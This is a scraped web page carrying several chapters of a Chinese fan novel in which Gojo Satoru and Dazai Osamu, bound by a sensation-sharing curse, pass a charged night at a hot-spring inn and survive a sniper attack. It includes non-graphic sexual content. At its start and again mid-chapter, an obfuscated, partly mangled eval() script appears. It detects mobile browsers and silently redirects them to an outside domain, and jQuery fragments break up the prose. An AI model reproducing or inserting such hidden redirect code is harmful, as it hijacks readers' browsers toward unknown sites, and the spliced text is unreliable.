;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16505010|184225||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 初始的舒适感过后,太宰治微微蹙眉。 他感觉……刚才被温泉暂时安抚下去的链接,不知为何,又开始隐隐躁动起来,像一根被温水浸泡后,反而更加敏感的神经。 这温泉水的疗效还会反弹?而且是加倍反弹?这可真他妈见了鬼了! 另外奇怪的是,这种躁动,还带着一种……被外力引导的怪异感。 五条悟也感觉到了,他不耐烦地在水中动了动身体,低声咒骂道:“这破链接,怎么还没完没了了?” 但是无人解答。 他们只能将这异常,归咎于诅咒本身的不稳定,或者大概因为泡温泉时间过长,血液循环加速了吧。 温泉池中,太宰治放下杯子,试图靠冥想,平复链接的波动。五条悟则烦躁地掬起一捧水泼在脸上。 然而,乌野的少年们显然不打算让他们清净。 “五条先生,太宰先生,过来一起啊。”日向嚷嚷着,用力扑腾起水花。 “是啊是啊,别躲在那边嘛。”田中起着哄。 男生们推推搡搡,开玩笑地互相泼水,池子里水波荡漾,人潮涌动。 不知是有意还是无意,五条悟和太宰治被一点点挤向了中间…… 手肘碰到了对方的后背,小腿在水下无意间擦过……一次躲闪泼水,五条悟的后腰撞到了太宰治的指腹。又一次推挤,太宰治的肩膀蹭过了五条悟的手臂…… 每一次不经意的短暂接触,都像一颗投入平静湖面的石子。 微小的水花下,链接忠实地传递着那份触感——皮肤的摩擦,肌肉的弹性,骨骼的硬度,还有对方骤然加快的心跳……所有一切,温热的泉水也无法稀释。 最初的不自在,像水渍一样,悄然蔓延开来。 他们开始刻意避开视线,身体僵硬地维持着距离……但温泉池就那么大,少年们的玩闹像永动机,躲闪反而显得欲盖弥彰。 终于,五条悟骤然从水里站起来,水珠从他结实的胸膛滚落,语气带着一抹烦躁:“吵死了,小鬼们。老子泡够了!” 太宰治也站起身,水汽让他苍白的皮肤泛上一层薄红,他扯出一个假笑:“啊啦,温泉不能久泡,再下去皮肤要皱了呢……” 两人一前一后,几乎是落荒而逃般,迅速离开温泉池,留下身后一群面面相觑、不明所以的少年们。 回到那间被迫共享的榻榻米房间,气氛降到了冰点。 房间内只剩下两人,那片唯一的睡眠空间便显得十分碍眼,无法忽视。 两人分别沐浴完毕,带着一身温泉水汽,对着房间正中央,那张铺着整洁被褥的玫红色小床,重新面对此难题。 然后便陷入了僵持。 所谓的“小”,是基于他们的身高和两人都想独占的空间而言。 当然,事实上,它也算一张标准的双人床,睡两个人正常身高的日本人基本ok,前提是……两人关系足够亲密。 “啧,这床适合小孩吧?再加个你,我怎么睡?”五条悟皱起眉,用挑剔的眼神扫视床铺。 太宰治擦拭着仍在滴水的头发,语气平淡:“以五条先生的身材,确实委屈了。其实您可以考虑睡在屋顶,这样能吸收日月精华。” 五条悟不爽道:“哈?你想独占这张床就直说,青花鱼。” 太宰治叹口气道:“我只是在说一个客观事实。” “划界?”五条悟挑眉,带着惯常的挑衅,但仔细听,似乎有点不易察觉的紧绷。 “以您的睡姿,有意义吗?另外链接可不管三八线。”太宰治回应,声音平静,却同样潜藏着暗流。 对话在房间里回荡,毫无营养,来来回回,也达不成共识。谁都没有真正动手去拿备用的被褥打地铺——那是一种示弱,但谁都不想示弱。 然后,这场关于床铺的商议,在没有结论的情况下不了了之。 两人各自占据床的一边,背对着背铺好被褥,一言不发地躺下。 最终,他们以一种近乎僵硬的姿态,各自躺在铺位一侧,中间留下的缝隙窄得可怜。两人都刻意背对着对方,试图维持互不侵犯的假象。 然而,诅咒的存在,从来不是为了维持和平。 床头灯被大力按灭,黑暗笼罩下来,他们的视觉被剥夺,其他感官,便变得格外敏锐。山间的凉意透过纸拉门缝隙渗入,更衬得被褥下的方寸之地,因另一人的存在而显得过于拥挤和……灼热。 黑暗中,只有彼此压抑的呼吸声。 更糟糕的是,身体躺平后,感官却变得更加清晰。 温泉余温还在体表流淌,皮肤微微发烫。而那该死的链接,今晚显得格外活跃和敏感。像有细微电流,在皮肤下游走,又像一种共振,让彼此的存在感,被无限放大。 他们能感觉到对方翻身时,床垫轻微的凹陷,能听到对方并不平稳的呼吸声,甚至能隐约感觉到,对方和自己一样,在试图压抑着某种由内而外滋生出的,陌生的躁动。 还有对方身上独特的气息,通过链接,形成了一种恼人的干扰,无法屏蔽。 温泉里那些该死的触感,如烙印般,透过链接反复回放,成了一个聒噪无比的喇叭,哔哩吧啦的,清晰得令人烦躁。 而身体的记忆,远比大脑更顽固。 28.第28章 山间的夜,比城市更黑,更沉。隔壁,少年们的嘻笑声隐隐传来,又渐渐平息,他们都入睡了。这边房间里,便显得尤为安静,一切细微的声响都能被放大。 五条悟和太宰治都在极力克制,呼吸放得轻缓,身体绷紧,试图将自己固定在有限的空间里,变成两块僵硬的石头,好似执行一场沉默的耐力考验。 终于,五条悟的声音在黑暗中响起:“喂,你今天……是不是又碰了什么不干净的东西?” 这家伙习惯于作死,谁知道是不是他乱七八糟做了什么,链接才会如此异常。 太宰治闭着眼,声音同样带着冷意:“这话应该我问您,五条先生。是不是白天偷吃的甜品里,掺了奇怪的兴奋剂?” 他们互相甩锅,但心里都隐约觉得不对劲。 两人躺在这逼仄的床上,维持着可怜的体面和平静。 1.2米的宽度,对于这两位身材高大的男人来说,任何试图维持距离的努力,注定了都是徒劳,尤其在睡眠之时。 而在这种刻意保持的距离下,链接的存在感,反而像被绷紧的弦,任何细微波动,都清晰可辨。今天的链接,似乎敏感得过分了。 这种预感,在不久之后,便因一次无意的转身触碰,成了现实。 起初只是无意间,非常轻微的碰触。 五条悟睡相不佳是常态。在一次不经意的翻身中,他的手臂越过了中间线,手背不可避免,擦过了太宰治放置在身侧的手腕。 他收回手时,手肘又擦过了对方的后背。太宰治调整姿势时,两人小腿在无意中相贴…… 接触都很短暂,但每一次,都被那该死的链接,莫名其妙的放大了。链接很忠实,甚至变本加厉,将这短暂的触感,传输到他们彼此的神经末梢。还有过分连带效应,激起各种各样、层层叠叠、无法言喻的涟漪,然后在接触点,引发更深的战栗。 太宰治幽怨地说:“您体温太热了。” 五条悟立刻反驳:“闭嘴,你心跳吵到我了。” 理智在告诫两人,距离是唯一的安全阀。 但身体的本能和原始渴望,在“快感共享”链接开启后,一直被他们用对抗、争吵和刻意忽视,或者强行压制,未曾得到过真正疏解,此刻,却在黑暗与寂静的催化下,蠢蠢欲动。 伴随着短暂触碰,蛰伏已久的渴望被强行唤醒,得到了一个微小的宣泄口,却让人觉得更渴。 对现在的两人而言,床铺成了新的战场,悄无声息,但比任何咒灵祓除,都更耗费心神。 五条悟感觉,自己像在抵抗一场强加于身的醉意,理智是唯一的醒酒药。 而那个该死的链接,像灌了劣质清酒后的血液奔流,鼓噪着、诱惑着他放弃思考,沉入感官泥沼。 太宰那家伙的气息无孔不入,简直是高明的催化瓦斯。五条悟试图在脑中,构筑起无限回廊,将那些不停翻涌,不属于自己的悸动隔绝在外,一遍一遍又一遍。 太宰治则觉得自己在采钢丝,脚下是万丈深渊,名为沉沦的喧嚣欲望,在谷底呼啸。魔鬼在说:“跳下来吧……跳下来吧……就现在。” 链接传递来的不仅是温度,还有一种蛮横的占有欲,烙在神经末梢。 他必须收紧身心,维持危险的平衡,绷紧每一寸肌肉,生怕一丝晃动,就会跌落。 他的皮肤在发烫,有无数妄念,试图撬开他精心构筑的堡垒。他只能默诵着最枯燥的方程式,用无聊理论,对抗潮热失控。 他们的抵抗,成了两股逆流潮水,在自我的堤岸前,撞得粉碎。 每一次心跳共振,都在背叛自己;每一次无意识翻身,都险象环生。 两人背对着背,精神却在链接通道里进行着最凶险的角力,谁也不肯先退让,谁也不敢先放松。 变成了一场僵持的拉锯战。 但是,在一次幅度稍大的翻身中,碰撞变得无法忽略。 太宰治的身体绷紧,手指抠紧了身下的榻榻米。五条悟则想要缩回手,但席卷全身的那种陌生又强烈的感觉,让他的动作僵在半途。 那一刻,堤坝终于崩塌。 快感,早已不是温和溪流,而是以嚣张澎湃的姿态,如积蓄已久的海啸,通过链接,轰然席卷了双方的每一寸神经末梢。 它来势汹汹,淹没了所有刻意维持的冷静与距离,将理智冲击得摇摇欲坠。 那不仅仅是生理上,更是心理防线的突然失守。长久以来,压抑、混沌、源于诅咒、又超越诅咒的复杂欲望,开始爆发。 黑暗中,破碎的喘息声移出,无可控制。分不清谁是谁的,应该两者皆有。被刻意压低,却更显得暧昧而惊心。 理智或许还是有的,但在过于强烈的感官风暴中,正在被迅速融化和蒸发。 界限变得模糊,坚持显得可笑。他们从抵抗,到消极抵抗,再转成放弃抵抗…… 不知是谁,先越过了那道界线,或者根本就是共犯行为……链接传递来翻江倒海般的感官冲击,抗拒的力量只能土崩瓦解。 他们沉溺于对方的呢喃,对方的温度,暂时醒不来,而且不想醒来。 不再推开,而是带着不确定的探寻,与无法抗拒的引力,开始收紧。 不再闪躲,而是如藤蔓般,在混乱中更加紧密的交缠。 已非小心翼翼的避让,而是饮鸠止渴般的急切。 黑暗中,几乎同时响起了从喉咙深处,溢出的短促气音。变成了夜色里,令人面红耳赤的交响曲。 视觉的缺失,放大了触觉、听觉,以及链接无孔不入的共感。 呼吸灼热地交织在一起,心跳如擂鼓,在寂静的房间里,在彼此的感知里,疯狂共鸣。 他们像两个在沙漠中濒死的旅人,终于找到了水源,于是不顾一切地汲取,哪怕明知,这水可能有毒。 月光漏进窗帘缝,能照见交错的影子。 这是一场在诅咒驱动下,却又源于本能的沉沦。 但是,就在失控的边缘,在几乎要被欲望的洪流彻底吞没的前一刻,太宰治偏过头,在五条悟线条流畅而坚实的肩膀上,狠狠地咬了下去。 当然那不是调情,也非欲望宣泄,而更像一种绝望的刹车,企图用疼痛,来唤醒理智、划清界限的最后挣扎。 算是成功了吧……当牙齿陷入皮肉,带来阻力和尖锐刺痛感……太宰治终于从混乱中得到一丝清明,而五条悟闷哼一声,动作忽然停顿。 那痛感,同样通过链接,如实的传递回去,变成一桶冰水,浇在太宰治自己一样滚烫的神经上,暂时浇熄了燎原的火焰。 一瞬间,那席卷一切的感官海啸被暂停下来。激烈的动作停止了,粗重的喘息声在黑暗中显得格外分明,但加上了突然回归的尴尬。 黑暗中,两人维持着那个狼狈而亲密的姿势,谁都没有动。 链接里,狂乱的心跳和未平息的感官余波仍在震荡,与肩膀上的齿痕痛感交织在一起,构成一幅无比混乱的图景。 不知过了多久,五条悟慢慢向后退开,重新躺回自己那侧,背对着太宰治。他悄悄抬手,摸了摸被咬的地方,能触到了一圈齿痕,以及湿意。 太宰治也向另一侧转过身,将自己蜷缩起来。他的舌尖尝到了淡淡铁锈味,身体微微起伏着。 黑暗中,只剩下彼此依旧无法平复的呼吸,以及链接里的一片狼藉。此间混杂着未褪情欲、刺痛、茫然、懊恼和无措的情绪残骸。 如今的沉默,比之前的任何一次,都要沉重。 他们躺在一米二的狭窄空间里,背对着背,中间隔着一道刚刚被汹涌潮水冲刷过,此刻却更加明显的鸿沟。 理智重新占据高地,却带着满身的狼狈,与挥之不去的记忆。 而那枚新鲜齿痕,变成烙印,刻在五条悟的肩上,也刻在了这个混乱的夜晚,以及他们更加复杂难辨的关系之上。 他们没有走到最后一步,但那道一直勉强维持的理智防线,无疑,已经崩塌了一角。一些东西和感受被释放了出来,于是再也无法轻易收回。 这一夜,其实无人入睡。 清晨,第一缕熹微的晨光初露,勉强照亮室内。五条悟坐起身,因为动作间牵扯到肩上的伤口,让他不由蹙了下眉。 他侧头,看向旁边似乎仍在梦中的太宰治,目光在那人恬静的睡颜和微微敞开的领口下,停留片刻,眼神复杂难辨。 那里有他留下的吻痕和印记,他自己身上,大概也是如此。 而太宰治,在五条悟移开视线后,纤长的睫毛微微颤动了一下,缓缓睁开了眼睛。 当室外开始有轻微动静时,两人几乎同时起身,动作僵硬,看似忙乱地整理着各自的凌乱衣物,全程没有任何眼神交流,或者说,不敢有任何交流。 房间里唯有衣物摩擦时,细微的窸窣声。 五条悟率先拉开移门,走了出去,但他站在门口,没有离开。 太宰治还在室内,他叹了口气,环顾四周。 那张双人床已经被简单收拾整齐,昨夜的疯狂痕迹已经消失,只有某些地方,还留着几道浅痕,是被指甲划过的波浪。 他伸手按了按,轻轻划过,不知出于何种考虑,又将它们依此抹平。 回过头,太宰治的眼底一片沉静,看不出任何情绪。 好了,没有痕迹了……除了自己的唇角和体表,那里似乎还残留着一点不属于他的温度与气息。 太宰治苦笑,他们来到温泉的目的,是为了稳定链接,而这个目的在此刻,显得如此遥远。 或者说,他们已经背道而驰。 这个清晨,缺少了往日的互相调侃和攻击,显得异常安静。 两人都明白,互相指责是无用的。本就非单方面的强迫,或者一方对另一方的征服,那是一场在诅咒链接催化下,由试探、报复、环境与别的什么共同点燃的共犯,和无法推诿的默契。 他们从互相折磨、被迫共享痛觉的麻烦对手,一夜之间,跃进到了一个更复杂且危险的境地——他们确认了,对方是一位对自己来说,有强烈性吸引力的同伴。 这一点,无法否认。链接传递来的,除了残余的快感余韵,还有对彼此身体气息的熟悉与渴求。 虽然这一认知让两人都感到一阵莫名烦躁。 五条悟终于开口:“昨晚,就当没发生过吧。” 太宰治表示同意:“嗯,昨晚只是因为链接,我们不过是诅咒效应下的两个可怜实验品。” 确实应该是事实,但听太宰治将一切都归咎于诅咒,划清界限的态度如此明确,五条悟不知为何,突然觉得十分不爽。 他眯起了眼睛,那双六眼能看穿一切咒力流动,此刻却看不透眼前这人层层包裹的内心。 他清楚的知道链接的作用,但同样清晰的记得,在某个意识模糊的瞬间,太宰治看向他的眼神,并非全然是混沌与利用,那里面掺杂了复杂情感,甚至包括沉溺。 如果太宰治承认,他无疑会还未想好如何面对;但现在这样全然否认……他好像更不开心,虽然不知道为什么。反正无论如何,都比纯粹的感官刺激更让他心烦意乱。 “是。”五条悟最终只是发出了一个音节,弯腰拎起自己的行李,带起一阵风。 “走了,青花鱼。这地方令人恶心。” 太宰没有反驳,也拿起了自己简单的行囊。在最后扫视一遍后,跟着他走了。 两人一前一后,保持着微妙的距离,迅速离开了这个承载了他们一夜混乱的房间。 步伐很快,几乎像在逃离。 穿过寂静走廊,走下木质楼梯,来到旅馆的前厅时,那位老太太早已等候在那里,脸上依然挂着看上去无可挑剔,温和而慈祥的笑容。 “两位客人,请问昨晚休息得可好?”她躬身问道。 五条悟却听而不闻,径直推门而出,虽说……他本对陌生老年人不会如此无礼,但今天的他懒得施舍一个眼神。 太宰治停下了脚步,目光在老太太脸上停留了一秒。她的笑容官方,无懈可击,他的表情亦是如此。不过,太宰治还是捕捉到了对方眼底,一闪而过的异样。 “温泉……很特别。”他轻声说道,语气意味不明。 老太太总算满意了:“能给您二位带来舒缓感受,是我们的荣幸,欢迎你们下次光临。” 太宰治微微颔首,不再多言,转身跟着五条悟离开了旅馆。 清晨的山间空气清 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那是在靠近旅馆墙根,一处不易察觉的角落,很难被人发现。 它不像普通的垃圾,因为边缘呈现了一种不自然的熔断痕迹。 太宰治的脚步顿了一下。 他的心跳,瞬间加快些许,源于他的本能直觉——一种长期在黑暗中行走所培养出来的,对阴谋与监视的敏感。 他没有弯腰去捡,甚至没有让自己的目光在那碎片上多做停留。他只是装作没发现一般,继续迈开步子,走向那位白发咒术师。 不过,在他的脑海里,已经将那个碎片的形状、可能材质、出现的位置,与昨夜异常的链接反应、泡温泉时的饮料、以及老板娘刚才那个意味深长的眼神,迅速联系了起来…… 原来如此……某个冰冷结论,缓缓浮现在他意识深处。 他们昨夜的失控与沉沦,并不仅仅是诅咒和意外。更像是一场精心策划出来,针对他们链接特性的喂养实验。 而他和五条悟,在毫无察觉的情况下,完美地扮演了实验中的小白鼠。 这场被迫开始的游戏,似乎比他们想象的,还要肮脏和复杂。 他走到五条悟身边,能感受到对方透过链接,传来了同样混乱的情绪波动。 身边的这个人,这位他曾经纯粹视为麻烦和对手的“最强”,在不知不觉中,已经成为了他在这盘棋局中,唯一能够共享秘密与危机的……伙伴。 晨风吹过,带起太宰治额前的碎发。他抬起头,脸上又挂起了那副惯常笑容。 “你好磨蹭啊,青花鱼。”五条悟好像有点不满。 “接下来去哪儿,五条先生?”太宰治问道。 五条悟直起身说道:“还能去哪儿?回去找硝子。这破链接,越来越邪门了!” 他抱怨着,一边迈开长腿,向前走去。 太宰治在他身后,沉默跟上,思维编制了一张细密的网。 那个隐藏在角落的黑色匣子,是警告,也是全新线索。它大概意味着,暗处的眼睛,从未离开。 而他们之间的链接,还有因此而发生的一切,包括如今混乱而矛盾的关系,都不过是别人计划中的一环。 而且不是第一次了。 地狱的风景,似乎才刚刚在他们面前,展露其冰山一角。 跑车转过一道弯,身后的温泉旅馆,彻底消失在了他们视野里。 五条悟单手搭在方向盘上,瞥了一眼副驾驶上闭目养神的太宰治,打破了车内的沉默: “那破地方有问题,要么就是那个老板娘有问题,看人的眼神,像在给猪肉盖章。” 太宰治缓缓睁开眼,望着窗外飞速倒退的树木,平静道:“都有问题。” 他停顿片刻,继续道: “旅馆是饲养场,老板娘是负责投喂和记录的饲养员。但现在……我们这两个实验品显然已经被重点关注,任何举动都可能打草惊蛇。” 他轻描淡写地点明了关键: “在没弄清楚对方全盘计划,找到蛇的七寸之前,贸然回头拆了那个小据点,除了出口气,毫无意义。反而会让我们再次陷入被动。” 五条悟虽然很想把那里给削了,但也明白,太宰治说的有道理。 他猛踩了一脚油门,声音混着风声:“那就让他们再得意一会儿。等老子揪出那个不敢露面的混蛋,连他的实验室和老巢一起轰上天。” 按兵不动,并非退缩,而是为了更有效锁定目标,然后一击必杀。 跑车引擎发出低沉咆哮,在山间公路上加速飞驰起来。 短暂的沉默后,五条悟想起什么,忽然表情放松了一些:“话说回来,隔壁那群小鬼,打排球的……乌野是吧?倒是挺吵的,精力旺盛到像一群猴子。” 太宰治也回忆起了那群少年:“嗯,喝着普通的牛奶和果汁,为了炸鸡和薯条争抢,烦恼的不过是肌肉酸痛和明天的训练……真是简单到奢侈的日常啊。” 五条悟挑眉,居高临下地评价道:“那个小个子橙毛,弹跳力倒挺能唬人,有点意思。不过脑子看起来不太灵光。那个黑头发臭脸的二传手,技术还行,脾气太差。” 太宰治腹诽:脾气有你差么? “但是以他们的运动神经和技巧,想要战胜‘最强’还是有难度的。或者说,我们还是在不同纬度。”五条悟最终下了一个结论,符合他一贯的傲慢风格。 太宰治随意应答了一声,不置可否。 他望着窗外,那片充斥着诅咒、阴谋与厮杀的黑暗世界,与昨天的温泉边,少年们单纯为了胜利和伙伴而燃烧的热血世界,可以说是两个星球,毫不相干。 而他们自己,被诅咒捆绑,深陷泥潭,连泡个温泉都能卷入能量收集实验。相比之下,那群少年为之挥洒汗水的球场,倒显得像个干净明亮、且遥不可及的理想国了。 “是啊,他们确实活在另一个世界里。”太宰治最终轻声附和,带着点自嘲。 这句话,将两人拉回了现实,不太圆满,哦不,非常不圆满的现实。 那些少年的鲜活与正常,反而更衬出,他们自身处境的诡异与不堪。 车内再次陷入沉默,但某种共识已然达成。 29.第29章 回到咒术高专时,两人之间的气氛依然有些微妙。他们一前一后,隔着一丈远,距离十分刻意,跟闹了别扭的小学鸡似的。 家入硝子叼着烟,靠在医务室门框上,看着他们走近,挑了挑眉:“哟,活着回来了?温泉疗效如何?” 她语气平常,询问是平日例行公事的调调。 五条悟闻言,立刻摆出一副嫌恶表情,大声嚷嚷道:“什么疗效啊,那破地方水质有问题,硫磺味熏得人头昏脑涨,床板硬得像棺材,还有蚊子,老子一晚上没睡好!” 他其实有点心虚,但约是这样,越要虚张声势。 太宰治站在稍远的地方,说道:“嗯,温泉本身……还OK。可惜同住的人不太讲究,睡相太差,打呼噜像拆楼,严重影响休息。” 他直接把锅甩了出去。 硝子的目光在两人之间穿梭……五条悟脖颈侧后方,隐约露出点不自然的红痕,太宰治则把自己裹得比平时更严实,连风衣最上面的扣子都系好了。 “哦……所以,是温泉水质问题,和呼噜声,导致你们俩的咒力残渣……尤其是链接波动频率,比出发前活跃了差不多百分之一百二?”硝子怀疑地说道。 两人听后同时僵住。 五条悟大声反驳道:“那是被气的!这青花鱼最擅长毒舌,气死人不偿命,没暴走已经是我涵养好了!” 太宰治微微侧头,望向走廊窗外,感叹道:“唉,与这位一起……旅行和同住,对精神的损耗确实巨大呢。” 他们的表演漏洞百出,夸张拙劣,不过硝子懒得戳穿,只在心里暗骂:演得挺卖力,就是破绽太多。 她拿出记录板,在上面划拉了两笔:“行吧,反正身体指标暂时稳定。链接活跃度异常……原因不明,记录在案,你们走吧。” 两人几乎是同时松了口气,然后立刻意识到,这反应太同步,跟他们希望展示的人设不符,于是准备更改……五条悟刚要抬脚,太宰治却先一步转身,两人动作又撞在一起,耳尖都泛了点热。 硝子翻了个白眼。 走出医务室,五条悟的手机震动了一下。他掏出来一看,是个未知号码的匿名短信,内容言简意赅: “想知道“双生缚”的更多乐趣?下午四点,吉田富士急乐园,摩天轮,有惊喜。” 后面附赠了一张手绘图,像素不高,模糊地画着纠缠的双蛇图案。 五条悟把手机屏幕怼到太宰治眼前,沉声说:“喂,麻烦找上门了。” 太宰治扫了一眼,眼眸里闪过一抹别样神色:“‘乐趣’……这种措辞……是觉得我们之前开发得不够彻底吗?”他语气带着点嘲讽,但明显认真起来。 “去不去?”五条悟问得直接。 “当然。送上门的情报,没有拒之门外的道理。而且,惊喜通常意味着陷阱,拆陷阱一向是我的业余爱好之一。”太宰治微笑道。 “富士急乐园……还挺会挑地方。”五条悟低声重复,指尖摩挲着手机边框。 于是,两小时后,富士急乐园门口,出现了两个身影,但与周围的欢乐氛围,格格不入。 五条悟换下了高专制服,穿了身名牌休闲装,潮得像是刚从T台下来的,身高腿长,风流倜傥。 太宰治换了一身同款的米色风衣,脸上挂着人畜无害的微笑,玉树临风,仪表堂堂。 两人站在一起非常养眼,引得周围小姑娘频频侧目。有些人还在窃窃私语,交头接耳。只字片语飘过来,说的是:“那两人好般配。” 五条悟咬着刚买的巨大棉花糖,口齿不清地嘲讽道:“所以,这就是约会?啊,跟一条青花鱼逛游乐园,传出去我‘最强’的名号还要不要了?” 太宰治怜悯地看着他:“五条先生,以您的性格,能有人陪您来这种地方,已经是奇迹了,所以请珍惜。” 五条悟:“哈?你说什么?” 拌嘴间,两人走到了号称全园最刺激的过山车项目前。尖叫声如背景音效,不绝于耳。 五条悟看着那蜿蜒曲折、上下翻飞的轨道,墨镜后的眼睛亮了,嘴角勾起,是一个不怀好意的弧度。“喂,青花鱼,敢坐吗?不会吓得哭出来吧?” 太宰治面不改色道:“比起这个,我更担心五条先生待会儿抖得太厉害。” 风卷着棉花糖甜香扑来,两人挤进排队区。 过山车轰鸣着掠过头顶,轨道阴影里,太宰治忽然伸手,替五条悟拨了一下头发——动作太快,等五条悟反应过来,他只淡定地掏出手帕擦自己手指:“沾到您的呆毛了,我看着不爽。” 五条悟傻愣了一瞬,欲言又止。 轮到他们了,两人并排坐在过山车最前排。安全压杠落下时,五条悟忽然侧过头,压低声音,用只有两人能听到的音量说:“来,我们测试一下。” 太宰治不知道这家伙说的是什么意思,过山车已经缓缓启动,爬升至最高点,然后……突然俯冲下去! 所有人感受到一阵强烈的失重感,狂风扑面而来,周围的尖叫声陡然拔高。 在极度混乱之时,五条悟的胳膊,突然越过中间的扶手,用力握住了太宰治搁在腿上的手。 不是战斗时的擒拿,也不是愤怒时的拉扯。那是一个近乎十指相扣的姿势。 “……” 一股电流,顺着两人交握的皮肤窜起,一路燎原,炸开一片空白的酥麻。链接的存在让这感觉瞬间翻倍,把高压电直接通入了灵魂。 太宰治整个人颤栗了一瞬,想甩开,手指却被紧紧握住,使不上力。 干嘛?劫色? 虽知不可能,但太宰治脑中却莫名其妙跳出这样一句话,连他自己都对自己无语。 耳边是呼啸的风和尖叫,眼前是颠倒旋转的世界,唯有掌心的一点触碰,带着五条悟略高的体温,成了所有混乱感官中唯一清晰而灼人的焦点。 五条悟自己也闷哼了一声。他原本只是想恶作剧,看看这链接在极限刺激下,会不会有更有趣的反应。 但这效果……有点过头了。 掌心传来的触感隔着绷带,有些模糊,但链接反馈回来属于太宰治的那份惊悸,以及瞬间的空白,混合着过山车本身的刺激,形成了奇异的晕眩感,简直令人上瘾。 五条悟没有松手,反而收得更紧了,焊住一样。他能感受到掌心下的脉搏快速跳动……自己的,太宰的,被吓的,还是被攥的,分不清,也不想分。 整个过程不过几十秒,转瞬即逝。当过山车平林乓啷驶回站台,安全压杠抬起时,五条悟才速度抽回手,带起一阵风。 两人同时别开脸,剧烈喘息着,好像刚才剧烈运动的不是过山车,而是他们。 “多事……”太宰治低声骂了一句,声音还有些微哑。他感觉被握过的那只手,连同半边身体,都残留着轻微麻感。 “啧,反应这么大?看来青花鱼果然很胆小。”五条悟强行挽尊,他推了推墨镜,掩盖起自己同样不平稳的心跳。 太宰治懒得理他,径直下车,脚步略显虚浮。 经过这一遭,两人之间的气氛更加微妙。他们沉默地穿过熙攘的人群,走向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16529610|184225||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那座缓缓旋转的巨大摩天轮,目标明确。 夕阳西下,将天空染成一片暖橙。摩天轮的座舱逐渐升高,地面的喧嚣远去,东京的轮廓在脚下铺展开来。 狭小的密闭座舱里,空气似乎都变得稀薄。 两人各坐一边,中间隔着楚河汉界般的距离。之前的过山车实验余波未平,链接像被拨动后仍在震颤的琴弦,细微的感官残留,还在皮肤下悄悄流动。 太宰治望着窗外的景色,侧脸在夕阳余晖中,有些模糊不清。五条悟则百无聊赖地玩着手机,手指划得飞快,但注意力显然不在屏幕上。 座舱向上,即将蹭至最高点时…… 一点细微红光,悄然出现在太宰治风衣左胸的位置,正对心脏。 出现的速度极快。 来不及思考,五条悟几乎是本能反应,甚至没看清子弹来的方向,身体已经先于意识,侧了过去。 “无下限”术式瞬时发动。 那颗狙击子弹,在距离太宰治心脏还有几厘米的空中,撞上一堵透明墙壁……然后悬停半空,如被冻结。 子弹带起的气流,甚至吹动了太宰治额前的碎发。 太宰治低头,看着那颗近在咫尺的金属物件。 他脸上并没有太多惊惧,反而弯起嘴角,轻声道:“果然……” 五条悟重新坐回原来的座位,他推上了墨镜,那双苍蓝色眼瞳里,烧着两簇火——是全然的警戒,和被触犯的怒意。 他的目光穿过窗外,锁定了狙击手的位置。 远处,那栋高层建筑的天台边缘,一个穿着兜帽衫,还带着鸭舌帽的身影,迅速收起狙击枪,消失在楼梯口。 那张隐藏在阴影下的脸,授枪时,似乎对着摩天轮的方向,露出了一个疯狂笑容,有毒一样。 而狭小的座舱里,呼吸可闻。刚才过山车上,残留的暧昧和悸动,被这生死一线的危机感,冲刷得干干净净。 但一种更紧密的联系取而代之——他们是共享秘密,共抗危机,甚至有可能共赴死亡的唯一同盟。 两人对视着,谁都没有先移开目光。 五条悟忽然扯了扯嘴角,打破沉寂,嘲弄道:“看来,‘惊喜’是专程候你的,殉情专业户。” 太宰治轻轻呼出一口气,也笑了,同样压低声音:“那谢谢您的救命之恩了,保护费,五条先生打算怎么收?” “记账上,连本带利。”五条悟哼道。 座舱开始缓缓下降。 五条悟撤去术式。那颗子弹,钉一声,掉落在座舱的地板上。 太宰治弯腰,用随身携带的手帕,小心翼翼将其拾起。 子弹是特制的,弹头不常见的暗红色金属光泽。 “手工打的么?匠人气挺重……大概有人不想我们好好约会呢。”太宰治端详着子弹说道。 五条悟重新戴好墨镜,恢复了那副嚣张模样:“正好,活动筋骨的时间到了。” 他们走出摩天轮,仿佛什么都没发生。但很快,接到五条悟短讯的辅助监督伊地知洁高,就满头大汗地赶来,接手了后续处理。 这次的惊喜,不再是隔岸观火的试探,而是真枪实弹的狙杀。并且,直指太宰治的性命。 游乐园绚烂的灯光下,五条悟和太宰治的表情隐在阴影中,看不真切。 太宰治低声自语道:“看来,对方是嫌我们之间的游戏,还不够激烈啊。” 五条悟望着远处,依旧在欢快旋转的摩天轮,咧开一个毫无温度的笑容。 “那就陪他玩到底。” 30.第28章 伊地知洁高将那颗狙击子弹收进容器里,他张了张嘴,想询问细节……但这两位爷,一位给了他一个“少废话”的眼神,一位给了他一个温和但疏离的微笑,善于察言观色的他,明智地把所有问题咽了回去。 待伊地知走后,这边又只剩五条悟和太宰治二人。 游乐园里,喧嚣依旧,周围人群依旧沉浸在欢快氛围中,无人注意到刚才摩天轮上,那个生死瞬间。 五条悟转头,看向身旁的太宰治,嘴角挑衅弯起:“喂,青花鱼,吓破胆了没?还敢接着玩吗?” 太宰治面色平静,好像刚才被狙击的不是自己。他漾开浅淡笑意,说道:“当然,区区狙击手而已,反正……” 他刻意看向五条悟:“不是还有‘最强’在旁边吗?大不了,多付点保护费就是了。” 听起来,还有点赖账的理所当然。 五条悟挑眉,俯身凑近,墨镜滑下,目光带着探究:“哦,这么信任我?不怕我一时失手,或者……干脆不管你?” 太宰治轻笑,没有直接回答这个问题。 